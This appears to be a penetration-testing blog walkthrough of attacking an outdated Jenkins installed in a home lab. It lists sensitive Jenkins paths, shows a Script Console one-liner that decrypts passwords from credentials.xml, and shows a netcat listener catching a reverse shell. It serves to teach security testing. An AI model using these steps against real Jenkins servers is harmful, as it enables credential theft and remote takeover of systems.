White Box Testing Jenkins

I generally install vulnerable web applications to my 64bit Ubuntu 16.04 machine to better understand the structure of the web applications and vulnerabilities.

It is more like white-box approach. If you don’t know well about the web application you are auditing, you can easily get familiar with this method.

In this post, I am going to install an outdated version of Jenkins.

What is Jenkins ?

Jenkins is a self-contained Java-based program, ready to run out-of-the-box, with packages for Windows, Mac OS X and other Unix-like operating systems.

Older versions of Jenkins Debian packages can be found here: https://pkg.jenkins.io/debian-stable/

As I also wanted to test the Jenkins < 1.650 – Java Deserialization exploit from the exploit-db , that’s why i am going to pick a version lower than 1.650 package.

We can also check the script console of Jenkins, for more details on how to execute commands on the server, please visit the post here.

wget https://pkg.jenkins.io/debian-stable/binary/jenkins_1.609.1_all.deb

sudo dpkg -i jenkins_1.609.1_all.deb

sudo apt-get -y install -f

After the completion of installation, default port of Jenkins can be changed from the /etc/default/jenkins

In order to change the default port which is port 8080, locate the line below:

# port for HTTP connector (default 8080; disable with -1)
HTTP_PORT=8081

Eventually, we can restart the service with:

sudo service jenkins start

Log file location can be found under the /var/log/jenkins/jenkins.log

Jenkins user has been created and if you check the running processes you will also notice that this user is running those processes.

$ ps -aux | grep jenkins
jenkins 8149 0.0 0.4 45248 4568 ? Ss 15:51 0:00 /lib/systemd/systemd --user
jenkins 8150 0.0 0.1 210724 1680 ? S 15:51 0:00 (sd-pam)
jenkins 8156 0.0 0.0 28604 192 ? S 15:51 0:00 /usr/bin/daemon --name=jenkins --inherit --env=JENKINS_HOME=/var/lib/jenkins --output=/var/log/jenkins/jenkins.log --pidfile=/var/run/jenkins/jenkins.pid -- /usr/bin/java -Djava.awt.headless=true -jar /usr/share/jenkins/jenkins.war --webroot=/var/cache/jenkins/war --httpPort=8081 --ajp13Port=-1
jenkins 8157 10.6 19.4 2323460 193572 ? Sl 15:51 0:14 /usr/bin/java -Djava.awt.headless=true -jar /usr/share/jenkins/jenkins.war --webroot=/var/cache/jenkins/war --httpPort=8081 --ajp13Port=-1
$

Once everything is ready and jenkins is up and running, just browse the web interface and create a powerful wordlist for yourself. During some engagements, you may come across a jenkins. Some of the important jenkins directories:

/systemInfo
/script
/robots.txt
/dc-license.txt
/winstone.jar
/log/
/credential-store/

In my experience, when you find a jenkins interface in your engagements, the order you should follow is:

  1. Check the Script Console -> /script
  2. Check for known attacks -> https://www.exploit-db.com/search/?action=search&q=jenkins
  3. Java Deserialization attack is nice which is: https://www.exploit-db.com/exploits/42394/
  4. If you get a shell with script console or you have command execution through Script Console, look for credentials.xml file.
  5. You can easily get the credentials and if you are luck you can rot the machine.

If you are able to access /script directory of Jenkins, relax and enjoy 🙂

Moving forward, let’s locate the location of jenkins files.

$ sudo find / -name jenkins
/usr/share/doc/jenkins
/usr/share/jenkins
/etc/logrotate.d/jenkins
/etc/init.d/jenkins
/etc/default/jenkins
/var/cache/jenkins
/var/log/jenkins
/var/lib/jenkins
/run/jenkins
$

We can see secret.key and some other files under /var/lib/jenkins directory.
Please note that jenkins credentials stored in the credentials.xml file.
As we also know that, it is possible to decrypt the key in the credentails.xml file, my eyes are looking for it.
The thing is we haven’t set any credentials yet and jenkins haven’t created this file for us.

Let’s create an user for our Jenkins. Browse to http://IP/credentials/
I am going to add username & password.

As soon as we click the “Save” button, we have the credentials.xml file created which is owned by our jenkins user.

$ ls -lah /var/lib/jenkins
total 64K
drwxr-xr-x 9 jenkins jenkins 4,0K Kas 10 17:47 .
drwxr-xr-x 69 root root 4,0K Kas 10 15:47 ..
-rw-r--r-- 1 jenkins jenkins 952 Kas 10 17:47 credentials.xml
...SNIP...
$
$ cat credentials.xml
<?xml version='1.0' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="[email protected]">
  <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
    <entry>
      <com.cloudbees.plugins.credentials.domains.Domain>
        <specifications/>
      </com.cloudbees.plugins.credentials.domains.Domain>
      <java.util.concurrent.CopyOnWriteArrayList>
        <com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey plugin="ssh-credenti[email protected]">
          <scope>GLOBAL</scope>
          <id>b2ea363b-025b-4436-bc02-fe2d50dbaaff</id>
          <description></description>
<username>hello</username>
<password>zVjwfi40FJgWvcynDHLIp2QtS6EB3aYnPrNHM03TOO0=</password>
        </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
      </java.util.concurrent.CopyOnWriteArrayList>
    </entry>
  </domainCredentialsMap>
</com.cloudbees.plugins.credentials.SystemCredentialsProvider>

Notice the password line and also username.
It appears that “hello” is our username in this case. Let’s go ahead and try to decrypt the password.

The easiest way to do that is using hudson.util.Secret.decrypt function.
Simply use this function with Script Console.

println( hudson.util.Secret.decrypt("zVjwfi40FJgWvcynDHLIp2QtS6EB3aYnPrNHM03TOO0=") )

We got the password as “world”! 🙂

Using a complex password won’t help you at this point as we have access to script console, we can easily get even the long & complex passwords.

If you are system administrator and forgot your password to login to Jenkins, you may easily get your password with this method. It also helps penetration testers and attacker to get another password in the system as they can try to escalate their privileges. Imagine a scenario, you got a shell using the Jenkins web interface and then found the credentials.xml and cracked the password, what happens if this password is also the root password ?

You owned the machine. Be safe 😉

Let’s play with the Script Console a bit.

Jenkins Script Console

For quick and dirty Jenkins scripts, please visit the http://alionder.net/jenkins-script-console-code-exec-reverse-shell/

You may copy – paste the scripts there. Just replace the “cat /etc/password” section with the command you would like to run.

Exploiting & Hacking Jenkins

Getting Shell

As Jenkins was installed to the Ubuntu machine, we need to pick up the Linux Reverse Shell script from the link above and get a lovely reverse shell.

root@kali:~/Desktop# nc -lvp 443
listening on [any] 443 ...
192.168.207.180: inverse host lookup failed: Unknown host
connect to [192.168.207.176] from (UNKNOWN) [192.168.207.180] 50750
id
uid=121(jenkins) gid=129(jenkins) groups=129(jenkins)

Notice that we have a shell with jenkins rights.

I will also have another post regarding Jenkins Java Deserialization exploit.

Thanks for reading!

Leave a Comment